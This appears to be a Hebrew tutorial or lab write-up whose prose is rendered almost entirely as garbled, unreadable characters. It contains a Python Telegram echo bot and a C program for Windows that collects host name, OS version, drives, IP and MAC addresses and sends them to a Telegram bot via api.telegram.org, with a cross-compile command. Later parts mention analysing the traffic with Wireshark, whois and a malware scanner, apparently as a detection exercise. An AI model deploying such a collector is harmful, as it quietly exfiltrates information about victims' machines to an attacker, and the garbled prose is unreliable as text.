        context (ContextTypes.DEFAULT_TYPE): Provides context for the handler.  
    """  
    await update.message. reply_text ( "Help!" )  
 
async def echo( update : Update, context : ContextTypes.DEFAULT_TYPE) - > None:  
    """  
    Echoes the user's message.  
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    Responds with the same text that was sent by the user, unless it is a command.  
     
    Args:  
        update (Update): Contains information about the incoming update.  
        context (ContextTypes.DEFAULT_TYPE): Provides context for the handler.  
    "" "  
    # Log the chat ID for debugging purposes  
    logger. info ( f "Chat ID: {update.message.chat_id} " )  
    await update.message. reply_text (update.message.text)  
 
def main() - > None:  
    """  
    Starts the Telegram bot and sets up handlers for commands and messages.  
     
    -  Initializes the Application with the bot token.  
    -  Adds handlers for /start, /help, and message echoing.  
    -  Runs the bot using long polling.  
    """  
    # Create t he Application and pass it your bot's token.  
    application = Application. builder (). token ( "YOUR_BOT_TOKEN_HERE"). build ()  
 
    # Add command handlers  
    application. add_handler ( CommandHandler( "start" , start))  
    application. add_handler ( CommandHandler( "help" , help_command))  
 
    # Add a message handler to echo non - command messages 
    application. add_handler ( MessageHandler (filters.TEXT & ~ filters.COMMAND, echo))  
 
    # Start the bot and keep it running until interrupted  
    application. run_polling ( allowed_updates =Update.ALL_TYPES) 
 
if __name__ == "__main__" :  
    main()  

 

ˤ˞ ˢˤ ˦ˣ˟ echo ˡˣ˞ˬ ˦ˣ˷˲ Σˣ˞ˣ˟ ˶˧˟˯ˮ ˸˞ ˡˣ˵ˢΥ 

˸˶ˡˠˢ ˧ˮˬˣ˧ ˫ˣ˷˧˶(Logging) Υ 

¶ ˫˧˰˟ˣ˵ ˸˞ ˦ˬ˶ˣ˲ ˫˧ˮˬˣ˧ˢ ˸˞ˣ ˸ˬ˶ ˫ˣ˷˧˶ˢ (INFO) ˨˩ ˰ˡ˧ˬˢ˷ ˡ˰ˣ˸˧ ˦ˬ˶ˣ˲˟ ˞˧˶˵. 

¶ ˸ˬ˶ ˫ˣ˷˧˶ˢ ˶ˣ˟˰ httpx ˸˶ˡˠˣˬ ˪πWARNING ˧ˡ˩ ˫˴ˬ˴˪ ˸˞ ˸ˣˬ˩ ˫˧ˮˬˣ˧ˢ ˫˧ˬ˷˶ˮ˷ ˪˰ ˸ˣ˷˵˟ 

HTTPΦ 

˸˶ˡˠˢ ˸ˣ˧˴˵ˮˣ˲ ˪ˣ˲˧˦ ˸ˣˡˣ˵˲˟: 

¶ start(update, context) Υ˶˷˞˩ ˷ˬ˸˷ˬˢ ˥˪ˣ˷ ˸˞ ˢˡˣ˵˲ˢ/start  Σˢ˧˴˵ˮˣ˲ˢ ˸˥˪ˣ˷ ˸˰ˡˣˢ ˢ˩˶˟ 

˸˧˷˧˞ ˷ˬ˸˷ˬ˪ ˫˰  ˸˧ˠ˸.HTML 

¶  :help_command(update, context) ˶˷˞˩ ˷ˬ˸˷ˬˢ ˥˪ˣ˷ ˸˞ ˢˡˣ˵˲ˢ ,/help ˢ˧˴˵ˮˣ˲ˢ ˸˥˪ˣ˷ 

ˢ˰ˡˣˢ ˫˰ ˦˯˵˦ˢ "Help!"Φ 

˸˶ˡˠˢ ˸˧˧˴˵ˮˣ˲ ˪ˣ˲˧˦ ˸ˣ˰ˡˣˢ˟: 

¶  :echo(update, context)ˢ˧˴˵ˮˣ˲ˢ ˸˪˟˵ˬ ˸ˣ˰ˡˣˢ ˦˯˵˦ ˫˧˷ˬ˸˷ˬˢˬ ύ˭ˮ˧˞˷ ˸ˣˡˣ˵˲ όˢ˶˧ˤ˥ˬˣ 

˸˞ ˣ˸ˣ˞ ˦˯˵˦ˢ ˪˟˵˸ˢ˷. 
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˸˶ˡˠˢ ˢ˧˴˵ˮˣ˲ˢ mainΥ 

¶ ˸˶˴ˣ˧ ˰˲ˣˬ ˪˷ Application ˫˰ ˭˵ˣ˦ ˦ˣ˟ˢ. 

¶ ˢ˲˧˯ˣˬ CommandHandler ˸ˣˡˣ˵˲˪ /start ˣ/help-Φ 

¶ ˢ˲˧˯ˣˬ MessageHandler ˪˲˦ˬ˷ ˸ˣ˰ˡˣˢ˟ ˦˯˵˦ ˞˪ ˸ˣ˧˸ˡˣ˵˲. 

¶ ˢ˪˧˰˲ˬ ˸˞ ˦ˣ˟ˢ ˢ˪˧˥˸ˬˣ ˭˧ˤ˞ˢ˪ ˸ˣ˰ˡˣˢ˪ ˸ˣ˰˴ˬ˞˟polling Φ 

˸˪˰˲ˢ ˦ˣ˟ˢ: 

¶ ˫˞ ˳˟ˣ˵ˢ ˳˶ ˦˲˧˶˵˯ˬ˩ ˧˷˞˶ Σˢ˧˴˵ˮˣ˲ˢ main ˸˪˰˲ˣˬ Σˢˬ ˪˧˥˸ˬ˷ ˸˞ ˣ˸˪ˣ˰˲ ˪˷ ˦ˣ˟ˢΦ ˣ˞ˣ˟ 

ˢ˞˶ˮ ˸˞ ˶˟ˡˢ ˢ˪ˣ˰˲˟Υ 

 

ˢ ˨ˣ˸˟-linuxΥ 
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ˣˬ˧˷ ˟˪ ˧˸˯˲ˡˢ˷ ˢ˲ ˢ ˸˞-chat id ύsˢ˶ˣ˷ :logger.info(f"Chat ID: {update.message.chat_id}") Σό

ˣˮ˥ˮ˞ ˨˶˦˴ˮ ˸˞ ˢˤ ˶˥˞˪ ˨˩ Φˢ˲˧! ˣ˞ˣ˟ ˢ˞˶ˮ ˢ ˨˧˞-api ˢ˶ˣ˞˩˪ˢ ˫˧ˬ˸ˢ ˢˤˢ ˪ˣ˩˧ ˨ˣ˲ˢ˪ ˧ˮˣˡˤ˪Φ 

ˣ˞ˣ˟ ˟ˣ˸˩ˮ ˡˣ˵ ˶˟˥˸˧˷ ˦ˣ˟˪ ˵ˣ˥˶ˬ ˥˪˷˧ˣ x˪ ˢ ˸˞-system info ˪˷ ˟˷˥ˬˢ ˭˟˶ˣ˵ˢ ˸˰˩˷ ˞ˣˢ ˳˶ 

ˣ˧˪˰ Φˢˤ ˢ˞˶˧˧ ˨˶˰˟ ˢ˩˩Υ 

#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <windows.h>  
#include <winhttp.h>  
#include <iphlpapi.h>  
 
/**  
 * Sends a message to a Telegram channel using the Telegram Bot API via WinHTTP.  
 *  
 * @param message The message to send.  
 * @return 0 on success, 1 on failure.  
 */  

int sendToTgBot( const char * message) {  
    const char * chatId = "6136171211" ;  // Replace with your chat ID  
    HINTERNET hSession = NULL;  
    HINTERNET hConnect = NULL;  
 
    // Initialize WinHTTP session  

    hSession = WinHttpOpen( L"UserAgent" , WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, 
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);  
    if (hSession == NULL) {  
        fprintf (stderr, "WinHttpOpen failed. Error: %d\ n" , GetLastError ());  
        return 1;  
    }  
 
    // Connect to the Telegram API server  
    hConnect = WinHttpConnect (hSession, L"api.telegram.org" , INTERNET_DEFAULT_HTTPS_PORT, 0);  
    if (hConnect == NULL) {  
        fprintf (stderr, "WinHttpConnect failed. Error: %d\ n" , GetLastError ());  
        WinHttpCloseHandle (hSession);  
        return 1;  
    }  
 
    // Prepare the request  

    HINTERNET hRequest = WinHttpOpenRequest (hConnect, L"POST", 
L"/bot{YOUR_HTTP_API_TOKEN_HERE}/sendMessage", NULL, WINHTTP_NO_REFERER, 
WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE); 
    if (hRequest == NULL) {  
        fprintf (stderr, "WinHttpOpenRequest failed. Error: %d\ n" , GetLastError ());  
        WinHttpCloseHandle (hConnect);  
        WinHttpCloseHandle (hSession);  
        return 1;  
    }  
 
    // Construct the request body  

    char requestBody[ 512];  
    sprintf (requestBody, "chat_id= %s&text= %s" , chatId, message);  
 
    // Set request headers and send the request  

    if (! WinHttpSendRequest (hRequest, L"Content - Type: application/x - www- form -
urlencoded \ r \ n" , - 1, requestBody, strlen (requestBody), strlen (requestBody), 0)) {  
        fprintf (stderr, "WinHttpSendRequest failed. Error: %d\ n" , GetLastError ());  
        WinHttpCloseHandle (hRequest);  
        WinHttpCloseHandle (hConnect);  
        WinHttpCloseHandle (hSession);  
        return 1;  
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    }  
    // Clean up  

    WinHttpCloseHandle (hConnect);  
    WinHttpCloseHandle (hRequest);  
    WinHttpCloseHandle (hSession);  
 
    printf ( "Message successfully sent to Telegram bot. \ n" );  
    return 0;  
}  
 
/**  
 * Main function to gather system information and send it to a Telegram bot.  
 *  
 * @param argc Argument count.  
 * @param argv Argument values.  
 * @return 0 on success, non - zero on failure.  
 */  

int main( int argc, char * argv[]) {  
    // Test sending a message to the Telegram bot  

    char test[ 1024];  
    const char * message = "a4ng is the best character" ;  
    snprintf (test, sizeof (test), "{ \ " text \ " : \ "%s\ " }" , message);  
    sendToTgBot(test);  
 
    char systemInfo[ 4096];  
 
    // Get host name  

    CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];  
    DWORD size = sizeof (hostName) / sizeof (hostName[ 0]);  
    GetComputerNameA(hostName, &size);  
 
    // Get OS version  

    OSVERSIONINFO osVersion; 
    osVersion.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); 
    GetVersionEx (&osVersion);  
 
    // Get system information  

    SYSTEM_INFO sysInfo;  
    GetSystemInfo (&sysInfo);  
 
    // Get logical drive information  

    DWORD drives = GetLogicalDrives ();  
 
    // Get IP address information  

    IP_ADAPTER_INFO adapterInfo[ 16];  // Assumes up to 16 adapters  
    DWORD adapterInfoSize = sizeof (adapterInfo);  
    if ( GetAdaptersInfo (adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) { 
        printf ( "GetAdaptersInfo failed. Error: %d\ n" , GetLastError ());  
        return 1;  
    }  
 
    // Format system information  

    snprintf (systemInfo, sizeof (systemInfo),  
        "Host Name: %s\ n"  
        "OS Version: %d. %d. %d\ n"  
        "Processor Architecture: %d\ n"  
        "Number of Processors: %d\ n"  
        "Logical Drives: %X\ n" ,  
        hostName,  
        osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,  
        sysInfo.wProcessorArchitecture,  
        sysInfo.dwNumberOfProcessors,  
        drives);  
 
    // Append IP address information  
    for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter - >Next) {  
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        snprintf (systemInfo + strlen (systemInfo), sizeof (systemInfo) -  strlen (systemInfo),  
            "Adapter Name: %s\ n"  
            "IP Address: %s\ n"  
            "Subnet Mask: %s\ n"  
            "MAC Address: %02X- %02X- %02X- %02X- %02X- %02X\ n\ n" ,  
            adapter - >AdapterName,  
            adapter - >IpAddressList.IpAddress.String,  
            adapter - >IpAddressList.IpMask.String,  
            adapter - >Address[ 0], adapter - >Address[ 1], adapter - >Address[ 2],  
            adapter - >Address[ 3], adapter - >Address[ 4], adapter - >Address[ 5]);  
    }  
     
    // Send system information to Telegram bot  
    char info[ 8196];  
    snprintf (info, sizeof (info), "{ \ " text \ " : \ "%s\ " }" , systemInfo);  
    int result = sendToTgBot(info);  
 
    if (result == 0) {  
        printf ( "System information sent successfully. \ n" );  
    } else {  
        printf ( "Failed to send system information. \ n" );  
    }  
 
    return 0;  
}  

 

˭˟ˣˬ˩ˣ Σ˶˧˟˯ˮ ˸˞ ˡˣ˵ˢΦ 

ˢ˥˧˪˷ ˪ API-˪˷ ˫˶ˠ˪˦ 

ˢ˧˴˵ˮˣ˲ˢsendToTgBot  ˸˧˞˶˥˞ ˥ˣ˪˷˪ ˢ˰ˡˣˢ ˳ˣ˶˰˪ ˫˶ˠ˪˦ ˸ˣ˰˴ˬ˞˟ API ˪˷ ˫˶ˠ˪˦ ˨˶ˡ ˸˧˧˶˲˯ 

WinHTTP ˪˷Windows Υ 

¶ ˸˥˧˸˲ ˭˷˯ :HTTP ˢ˧˴˵ˮˣ˲ˢ ˸˥˸ˣ˲ ˭˷˯ HTTP ˫˰ WinHttpOpen ˣ˟˷ ˞˧ˢ ˢ˶˧ˡˠˬ ˢ ˸˞-User 

Agent ˸˞ˣ ˧˦˶˲ ˶ˣ˟˧˥ˢ. 

¶ ˶ˣ˟˧˥ ˸˶˷˪ ˪˷ ˫˶ˠ˪˦: ˞˧ˢ ˸˶˟˥˸ˬ ˸˶˷˪ sAPI- ˪˷ ˫˶ˠ˪˦ ˸˟ˣ˸˩˟api.telegram.org  ˫˰ 

WinHttpConnectΦ 

¶ ˸ˮ˩ˢ ˢ˷˵˟ˢ :ˢ˧˴˵ˮˣ˲ˢ ˸˶˴ˣ˧ ˸˷˵˟ POST ˫˰  WinHttpOpenRequestˢ˷˵˟ˢ ˸˥˪˷ˮ ˸˟ˣ˸˩˪ 

/bot{YOUR_HTTP_API_TOKEN_HERE}/sendMessage ˢ˟˷ ˨˧˶˴ ˪ ˭˵ˣ˦ˢ ˸˞ ˱˶˴˪˦ˣ˟. 

¶ ˸˧˧ˮ˟ ˱ˣˠ ˢ˷˵˟ˢ :˱ˣˠ ˢ˷˵˟ˢ ˢˮ˟ˮ ˦ˬ˶ˣ˲˟ URL-encoded ˣ˟˷ ˞˴ˬˮ ˢˢˤˬ ˴ˢϥ˦˞ (Chat ID) 

ˢ˰ˡˣˢˢˣ (Message)Φ 

¶ ˸˥˧˪˷ ˢ˷˵˟ˢΥ ˸˥˪˷ˮ ˢ˷˵˟ˢ ˫˰ WinHttpSendRequest Σ˸˪˪ˣ˩˷ ˸˞ ˢ˰ˡˣˢˢ ˢ˥˪˷ˮ˷ ˱ˣˠ˩ 

ˢ˷˵˟ˢ. 

¶ ˸˶˧ˠ˯ ˫˧˶ˣ˟˧˥ˢ Υ˶˥˞˪ ˢ˥˧˪˷ˢ Σ˪˩ ˸ˣ˧ˡ˧ˢ (Handles) ˣ˥˸˲ˮ˷ ˸ˣ˶ˠ˯ˮ. 
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˱ˣ˯˧˞ ˰ˡ˧ˬ ˸˩˶˰ˬ 

ˢ˧˴˵ˮˣ˲ˢ main ˸˧˞˶˥˞ ˱ˣ˯˞˪ ˰ˡ˧ˬ ˪˰ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˟˷˥ˬˢˣ ˥ˣ˪˷˪ˣ ˣ˸ˣ˞ ˦ˣ˟˪ ˪˷ ˫˶ˠ˪˦: 

¶ ˸˥˧˪˷ ˢ˰ˡˣˢ ˦˯˦ :˸˥˪˷ˮ ˢ˰ˡˣˢ ˦˯˦ ˦ˣ˟˪ ˪˷ ˫˶ˠ˪˦ ˫˰ ˦˯˵˦ˢ "a4ng is the best character" 

˧ˡ˩ ˵ˣˡ˟˪ ˢ˧˴˵ˮˣ˲ˢ˷sendToTgBot  ˸˪˰ˣ˲ ˧ˣ˞˶˩. 

¶ ˱ˣ˯˧˞ ˰ˡ˧ˬ ˸˩˶˰ˬ: ˢˠ˧˷ˬ ˸˞ ˰ˡ˧ˬˢ ˧˦ˮˣˣ˪˶ˢ ˪˰ ˟˷˥ˬˢ π ˣˬ˩ ˢˬˠˣˡ˟ ˢ˸˧˧ˢ˷ ˣˮ˪ ˢ˪˥˸ˢ˟ 

¶ ˸˥˧˪˷ ˰ˡ˧ˬˢ : ˰ˡ˧ˬˢ ˱˯˞ˮ˷ ˥˪˷ˮ ˩ϥˢ˰ˡˣˢ ϥ˦ˣ˟˪ ˪˷ ˫˶ˠ˪˦. 

˸ˣˡˣ˵ˮ ˸ˣ˟ˣ˷˥: 

¶ ˸˲˪˥ˢ ˭˵ˣ˦ :˷˧ ˱˧˪˥ˢ˪ ˸˞ ˭˵ˣ˦ˢ ˪˷ ˦ˣ˟ˢ ˡˣ˵˟ ˨˪˷ ˰˦˵˟ ˫˧˞˸ˬˢ. 

¶ ˸ˣ˥ˮˢ :ˡˣ˵ˢ ˥˧ˮˬ ˷˧˷ ˡ˰ мс ˧˯˧˦˶˩ ˸˷˶ Σ˫˞ˣ ˷˧ ˶˸ˣ˧ Σ˭˩˸˧˧ ˨˶˦˴˸˷ ˫˧˞˸ˢ˪ ˸˞ ˨˶˰ˬˢ 

adapterInfo ˣ˞ ˪˲˦˪ ˫˧˟˴ˬ˟ ˫˧˶˥˞. 

˫˧˪˲ˬ˵ˬΥ 

x86_64- w64- mingw32- g++ - O2 mybot.c - o mybot.exe - I /usr/share/mingw - w64/include/ - s -
ffunction - sections  - fdata - sections - Wno- write - strings - fno - exceptions - fmerge - all -
constants - static - libstdc ++ - static - libgcc - fpermissive - liphlpapi - lwinhttp  

ˣˬ˧˷ ˟˪ ˣˮ˲˯ˣˢ˷ -lwinhttp ˪˧˟˷˟ ˢ˧˧˶˲˯ˢ WinHttp ˪˷ Windows Φˣ˞ˣ˟ ˢ˞˶ˮ ˸˞ ˢˤ ˪ˣ˰˲˟:s 

 

 

 

˞˪ ˧˶ˬˠ˪ ˣˮˬ˧˧˯ Σˣ˞ˣ˟ ˶˟ˡˮ ˸˴˵ ˪˰ WiresharkΦ 

Wireshark ˞ˣˢ ˧˪˩ ˥ˣ˸˧ˮ ˸˷˶ ˧˶˪ˣ˲ˣ˲ ˥ˣ˸˲ˣ ˡ˰ˣˮ˷ ˯ˣ˲˸˪ ˥˸ˮ˪ˣ ˸˶ˣ˟˰˸ ˸˷˶ ˢ˶ˣ˴˟ ˢ˵˧ˬ˰ˬ 

˸˧˰ˣ˴˵ˬˣ Φ˞ˣˢ ˶˷˲˞ˬ ˫˧˷ˬ˸˷ˬ˪ ˯ˣ˲˸˪ ˸˞ ˸ˣˮˬ ˫˧ˮˣ˸ˮˢ (packets) ˸˶˟ˣ˰ˢ ˨˶ˡ ˸˷˶ˢ ˭ˣ˥˟˪ˣ ˸˞ 

˭˩ˣ˸ˢ ˭ˢ˪˷Φ ˞ˣˢ ˨ˬˣ˸ ˭ˣˣˠˬ˟ ˟˥˶ ˪˷ ˧˪ˣ˵ˣ˦ˣ˶˲ ˸˷˶ Σ˪˪ˣ˩ TCP, UDP, HTTP, DNS ˡˣ˰ˣ Σ˵˲˯ˬˣ ˧˪˩ ˵ˤ˥ 

˥ˣˮ˰˲˪ Σˠˮ˧˶˦˪˧˲ ˥ˣ˸˧ˮˣ ˪˷ ˢ˶ˣ˟˰˸ˢ Φ˫˰ Wireshark ˭˸˧ˮ ˸ˣ˞˶˪ ˸˞ ˫˧ˮˣ˸ˮˢ ˸ˠˣ˴˸˟ ˢ˪˟˦ ˸˶ˡˣ˯ˬ 

˸˵˶˲ˬ˷ ˪˩ ˸ˣˮˬ ˫˧ˮˣ˸ˮ ˧˦˶˲˪ ˫˧˦˶˲ Σˣˬ˩ ˸ˣ˟ˣ˸˩ ,IP ˧˶˲˯ˬ ˫˧˦˶ˣ˲ Σ˧ˠˣ˯ˣ ˫˧˪ˣ˵ˣ˦ˣ˶˲Φ 
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˧˪˩ ˢˤ ˶˷˲˞ˬ ˧˪ˢˮˬ˪ ˸˷˶ Σ˧˷ˮ˞ ˸˥˦˟˞ ˰ˡ˧ˬ ˫˧˥˸˲ˬˣ ˭˥˟˞˪ ˸ˣ˧˰˟ ˸˷˶˟ Σ˶˸˞˪ ˸ˣ˧˰˟ ˫˧˰ˣ˴˧˟ Σ

˵ˣˡ˟˪ˣ ˸˞ ˸˥˦˟˞ ˸˷˶ˢ ˪˰ ˧ˡ˧ ˥ˣ˸˧ˮ ˸ˬ˧˶ˤ ˫˧ˮˣ˸ˮˢ ˸ˮ˟ˢˣ ˭˲ˣ˞ˢ ˣ˟˷ ˫˧ˬˣ˷˧˧ˢ ˫˧˸˶˷ˢˣ ˫˧˶˷˵˸ˬ 

˫ˢ˧ˮ˧˟. Wireshark ˰˧˴ˬ ˵˷ˬˬ ˧˲˶ˠ ˧˟˧˦˧˞ˣ˦ˮ˧˞ ˭ˣˣˠˬˣ ˟˥˶ ˪˷ ˫˧˪˩ ˥ˣ˸˧ˮ˪ ˢ˶ˣ˟˰˸ Σˣˬ˩ ˫˧˶˦˪˧˲ 

˫˧ˬˡ˵˸ˬ Σ˸ˣ˥ˣˡ ˫˧˧˲˶ˠ ˸ˣ˵˧˦˯˧˦˦˯ˣ Φ˸˶ˤ˰˟ Wireshark ˭˸˧ˮ ˫ˠ ˶ˣˬ˷˪ ˱˸˷˪ˣ  ˸ˣ˦˪˵ˢ(captures) 

˨˶ˣ˴˪ ˥ˣ˸˧ˮ ˶˥ˣ˞ˬ x˞ ˱ˣ˸˧˷˪ ˫˰ ˧˸ˣˣ˴ ˢˡˣ˟˰ ˫˧˶˥˞ Φ˫˧˪˩ ˢ˪˞ ˫˧˟ˣ˷˥ ˡ˥ˣ˧ˬ˟ ˢˡˣ˟˰˟ ˸ˣ˟˧˟˯˟ ˸˷˶ 

˸ˣ˟˩˶ˣˬ x˞ ˶˷˞˩ ˷˧ ˨˶ˣ˴ ˥˧˦˟ˢ˪ ˸˷˶ˢ˷ ˸˪˰ˣ˲ ˢ˶ˣ˴˟ ˸˧˪ˬ˧˦˲ˣ˞ ˢ˥ˣ˦˟ˣ. 

ˢˬ˪ˣ ˢˤ ˶ˤˣ˰ ˣˮ˪Κ ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˸ˣ˞˶˪ ˧ˬ˪ ˣˮ˥˪˷ ˸ˬ˞˟ ˸˞ ˰ˡ˧ˬˢ ˸ˣ˰˴ˬ˞˟ ˶ˣ˦˧ˮ ˢ˶ˣ˟˰˸ˢ ˸˷˶˟ Φ

ˢ˞˶ˮ ˸˞ ˸ˣ˦˵˲ˢ TCP ˣ˥˪˷ˮ˷ ˭ˬˤ˟ ˣˮ˥˪˷˷ ˸˞ ˢ˰ˡˣˢˢ: 

 

ˢ˲˧ Σˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˵˧˸˰ˢ˪ ˸˞ ˸˟ˣ˸˩ˢ ˪˷ sπdestination ˵ˣˡ˟˪ˣ ˧ˬ ˢˤ ˸ˣ˰˴ˬ˞˟ ˧˪˩ˢ whoisΗ 

Whois ˞ˣˢ ˧˪˩ ˵˲˯ˬ˷ ˰ˡ˧ˬ ˪˰ ˫ˣ˷˧˶ ˫˧ˮ˧˧ˬˣˡ ˸ˣ˟ˣ˸˩ˣ IP ˪˪ˣ˩ ˧˦˶˲ ˪˰˟ ˭˧˧ˬˣˡˢ Σ˧˦˶˲ ˸˶˧˴˧ ˶˷˵ Σ

˧˩˧˶˞˸ ˫ˣ˷˧˶ ˱˵ˣ˸ˣ Σ˰ˡ˧ˬˣ ˪˰ ˧˸˶˷ .DNS ˸ˣ˰˴ˬ˞˟ Whois ˭˸˧ˮ ˵ˣˡ˟˪ ˸˞ ˧˦˶˲ ˫ˣ˷˧˶ˢ ˪˷ ˫˧ˮ˧˧ˬˣˡ Σ

˭˥˟˞˪ ˸ˣ˧˰˟ ˸˷˶ Σ˰˴˟˪ ˸ˣ˵˧ˡ˟ ˢ˥˦˟˞ Σ˶ˣ˵˥˪ˣ ˫˧˶˷˵ ˭˧˟ ˫˧ˮ˧˧ˬˣˡ ˫˧ˮˣ˷ Φ˰ˡ˧ˬˢ ˵˲ˣ˯ˬ ˪˰ ˧ˡ˧ ˧˯˧˯˟ 

˫˧ˮˣ˸ˮ ˫˧˧˶ˣ˟˧˴ ˪˷ ˸ˣ˧ˣ˷˶ ˫ˣ˷˧˶ ˫˧ˮ˧˧ˬˣˡ ˸ˣ˟ˣ˸˩ˣIP Φ 

˳˧˶ˮ whois ˪˰ ˸˟ˣ˸˩ˢ ύˢˡˣ˵˲ˢ whois {IP} ˨ˣ˸˟ slinux-όΥ 

 

ˢ˪ˣ˰ˬΣ ˢˤ ˪˷ ˫˶ˠ˪˦ ΦΗˣˮ˧˷˰ ˸˞ˤ J Φˣ˞ˣ˟ ˵ˣ˶˯ˮ ˸˞ ˳˟ˣ˵ˢ ˣˮ˪˷ ˫˰ Websec Malware ScannerΦ 

 Websec Malware Scanner˞ˣˢ ˧˪˩ ˸˥˦˟˞ ˰ˡ˧ˬ ˡ˰ˣˮ˷ ˵ˣ˶˯˪ ˧˶˸˞ ˦ˮ˶˦ˮ˧˞ ˸ˣ˪ˠ˪ˣ ˸ˣˮ˩ˣ˸ 

˸ˣ˧ˮˣˡˤ(Malware) ˸ˣ˲˵˸ˢˣ ˸ˣ˧˪˞˧˴ˮ˦ˣ˲ Φ˧˪˩ˢ ˰˴˟ˬ ˸ˣ˵˧˶˯ ˸ˣ˲˧˵ˬ ˪˷ ˡˣ˵ ˶˸˞ˢ Σ˫˧˴˟˵ ˫˧˲˯ˣ˸ˣ Σ˧ˡ˩ 

˸ˣˢˤ˪ ˡˣ˵ ˧ˮˣˡˤ Σ˸ˣ˴˶˲ ˢ˥˦˟˞ Σ˸ˣ˲˵˸ˢˣ ˣˬ˩ ˸˵˶ˤˢ ˡˣ˵ (Code Injection) ˫˧ˮ˩˸ˣ ˫˧ˡˣ˷˥. 

Websec ˵˲˯ˬ ˫ˠ ˸ˣ˥ˣˡ ˫˧˦˶ˣ˲ˬ ˪˰ ˸ˣ˧˰˟ ˢ˥˦˟˞ ˣˢˣˤ˷ Σ˪˪ˣ˩ ˸ˣ˴˪ˬˢ ˭ˣ˵˧˸˪ ˢˮˠˢˣ Φ˷ˣˬ˧˷ ˧˪˩˟ ˣˬ˩ 

Websec ˰˧˧˯ˬ ˧˪ˢˮˬ˪ ˫˧˶˸˞ ˥˧˦˟ˢ˪ ˶˸˞ˢ˷ ˫ˢ˪˷ ˭ˠˣˬ ˧ˮ˲ˬ ˫˧ˬˣ˧˞ ˫˧˷ˡ˥ ˪˟˵˪ˣ ˢˮˣˬ˸ ˢ˶ˣ˶˟ ˪˷ 

˟˴ˬ ˢ˥˦˟˞ˢ ˪˷ ˶˸˞ˢ Σˢˬ ˸˧˥˲ˬ˷ ˸˞ ˭ˣ˩˧˯ˢ ˸ˣ˰˧ˠ˲˪ ˢ˥˦˟˞ ˸ˣ˰˧ˠ˲˪ˣ ˸ˣ˧˦˶˲ ˪˷ ˫˧˷ˬ˸˷ˬ.  

https://websec.nl/en/scanner
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ˣ˞ˣ˟ ˵ˣ˶˯ˮ ˸˞ ˳˟ˣ˵ˢ ˣˮ˪˷ ˫˷ ˢ˞˶ˮˣ ˫˞ ˞ˣˢ ˸ˬ˞˟ ˷ˬˬ ˢˢˣˤˬ  ˧˪˷ ˢ˵˧˶˯ˢ ˪˷ ˢ˞˴ˣ˸ˢ ,˯ˣ˶˧ˣ˩˭˞˩:  

 

˵˶ о ˨ˣ˸ˬ оф ˫˧˯ˣ˶˧˦ˮ˞ ˣ˞˴ˬ ˸˞ ˳˟ˣ˵ˢ ˣˮ˪˷ ˧ˮˣˡˤ Φ˭˧˧ˮ˰ˬ ˶˸ˣ˧˟ Η 

ˤ˞ ˣˮˬ˧˧˯ Σˣ˧˷˩˰ˬ ˦˲˯ˮˣ˵ˢ ˢ˧ˢ˧ ˢˬˣˡ π ˢ˶˦ˬˢ ˞˧ˢ ˸ˣ˞˶ˢ˪ ˢˬ˩ API's ˫˧ˬ˧ˬ˸ Φ˨˧˷ˬˮ ˡ˶ˣ˵˯˧ˡ˪Φ 

 

  

https://websec.nl/en/scanner/result/0806a0b0-f043-4564-a081-abdf6bdbb422
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ˤ˞ ˨˧˞ ˫˧˟ˮˣˠ ˰ˡ˧ˬ ˫˰ Discord Bot? 

ˡ˶ˣ˵˯˧ˡ ˞ˣˢ ˸ˬ˶ˣ˲˦˪˲ ˸˶ˣ˷˵˸ ˸ˮˣˣ˵ˬ ˸˶˷˲˞ˬ˷ ˫˧˷ˬ˸˷ˬ˪ ˶ˣ˴˧˪ ˱˶˦˴ˢ˪ˣ ˫˧˸˶˷˪ (servers) 

˫˧˷ˡ˵ˣˬ˷ ˫˧˞˷ˣˮ˪ ˫˧ˮˣ˷ Σ˷ˬ˸˷ˢ˪ˣ ˴˟ϥ˫˧˦˞ ˫˧˧˪˞ˣ˦˯˵˦ Σ˫˧˧˪ˣ˵ ˧˰˦˵ˣ ˣ˞ˡ˧ˣ Φˡ˶ˣ˵˯˧ˡ ˧˶˪ˣ˲ˣ˲ ˟˶˵˟ 

˸ˣ˪˧ˢ˵ ˫˧˶ˬ˧˧ˠ Σ˸ˣ˴ˣ˟˵ ˭˧˧ˮ˰ Σ˸ˣ˪˧ˢ˵ˣ ˸ˣ˧˸˶˟˥ ˸ˣ˷˲˥ˬ˷ ˫ˣ˵ˬ ˥˥ˣ˷˪ ˱˸˷˪ˣ ˫˧ˮ˩˸ ˢ˶ˣ˴˟ ˸˶ˡˣ˯ˬ 

˸ˮˠ˶ˣ˞ˬˣ. 

ˡ˶ˣ˵˯˧ˡ ˦ˣ˟ ˞ˣˢ ˫ˣ˷˧˧ ˧˦ˬˣ˦ˣ˞ ˭˸˧ˮ˷ ˱˧˯ˣˢ˪ ˸˶˷˪ ˡ˶ˣ˵˯˧ˡ ˧ˡ˩ ˱˧˯ˣˢ˪ x˪ ˸ˣ˧˴˵ˮˣ˲ ˸ˣ˲˯ˣˮ ˪˰˧˧˪ˣ ˸˞ 

ˣ˸ˣ˪ˢˮ˸ˢ Φ˫˧˦ˣ˟ ˫˧˪ˣ˩˧ ˰˴˟˪ ˭ˣˣˠˬ ˟˥˶ ˪˷ ˸ˣ˪ˣ˰˲ Σˣˬ˩ ˪ˣˢ˧ˮ ˧˦ˬˣ˦ˣ˞ ˪˷ ˫˧ˡ˧˵˲˸ Σ˪ˣˢ˧ˮ ˴ϥ˫˧˦˞ Σ

˸˥˧˪˷ ˸ˣ˞˶˸ˢ Σ˪ˣˢ˧ˮ ˫˧˵˥˷ˬ Σˣ˪˧˲˞ˣ ˢ˧˴˵˞˶˦ˮ˧˞ ˫˰ ˫˧˷ˬ˸˷ˬ ˨˶ˡ ˸ˣˡˣ˵˲ ˸ˣˬ˞˸ˣˬ ˸˧˷˧˞ Φ˫ˢ 

